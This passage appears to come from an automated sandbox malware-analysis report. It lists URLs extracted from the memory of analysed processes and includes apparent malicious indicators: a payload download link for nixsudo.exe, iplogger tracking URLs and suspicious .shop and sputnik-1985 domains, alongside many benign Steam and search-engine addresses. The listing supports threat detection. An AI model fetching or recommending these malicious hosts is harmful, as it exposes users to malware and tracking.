Source: 333.exe, 00000005.00000002.1323178845.0000000034D93000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: msiexec.exe, 0000000E.00000003.1578125149.000000000583D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: msiexec.exe, 0000000E.00000003.1578125149.000000000583D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/namespace-prefixes
Source: msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/namespaces
Source: msiexec.exe, 0000000E.00000003.1852273010.0000000006887000.00000004.00000001.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000000.1855343710.0000000001AE6000.00000002.00000001.01000000.0000000D.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1894283520.0000000005FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/namespaceshttp://xml.org/sax/features/namespace-prefixeshttp://trolltech
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steam
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=SCXpgixTDzt4&a
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=M_FULq_A
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002BF8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=lviE
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=JWHwHdDIz5WW&l=e
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C76000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 333.exe, 00000005.00000002.1323178845.0000000034D93000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: 333.exe, 00000005.00000002.1323178845.0000000034D93000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515200951.000000000289C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: msiexec.exe, 0000000E.00000003.1552389872.0000000005848000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1551978315.00000000058AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fitbudds.com/
Source: msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1845670682.0000000002C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fitbudds.com/file/nixsudo.exe
Source: msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fitbudds.com/file/nixsudo.exeL
Source: msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fitbudds.com/file/nixsudo.exed
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.ste
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: msiexec.exe, 0000000E.00000003.1539498420.0000000002C85000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530407017.0000000002C7C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1539552099.0000000002C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: msiexec.exe, 0000000E.00000003.1580291597.0000000005892000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: 4kN17cL4Tn.exe, 00000003.00000002.1359045300.000002A595D38000.00000004.00000020.00020000.00000000.sdmp, 4kN17cL4Tn.exe, 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmp, 4kN17cL4Tn.exe, 00000003.00000003.1334336826.000002A595DAD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1553125727.00000000058B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15PRC4
Source: 4kN17cL4Tn.exe, 00000003.00000002.1359229221.000002A595DA1000.00000004.00000020.00020000.00000000.sdmp, 4kN17cL4Tn.exe, 00000003.00000003.1357335268.000002A595DA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15PRC48
Source: msiexec.exe, 0000000E.00000003.1553383688.0000000005832000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15PRC4?__cf_chl_rt_tk=dxxkjtJLb2Yx8agHN4H3FF7Ul_f0aTMlpYD2o5JTYxg-1736583963-1.
Source: msiexec.exe, 0000000E.00000003.1553383688.0000000005856000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15PRC4H
Source: msiexec.exe, 0000000E.00000003.1553383688.0000000005832000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15PRC4Just
Source: msiexec.exe, 0000000E.00000003.1846035023.0000000002C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipgylagyi.shop/int_clp_pan.txt
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ykf
Source: msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: msiexec.exe, 0000000E.00000003.1539578375.0000000002C36000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1530495345.0000000002C40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: msiexec.exe, 0000000E.00000003.1539925432.0000000002C3F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.1594611622.00000000058A7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/
Source: msiexec.exe, 0000000E.00000003.1609203698.00000000058A7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sputnik-1985.com/A
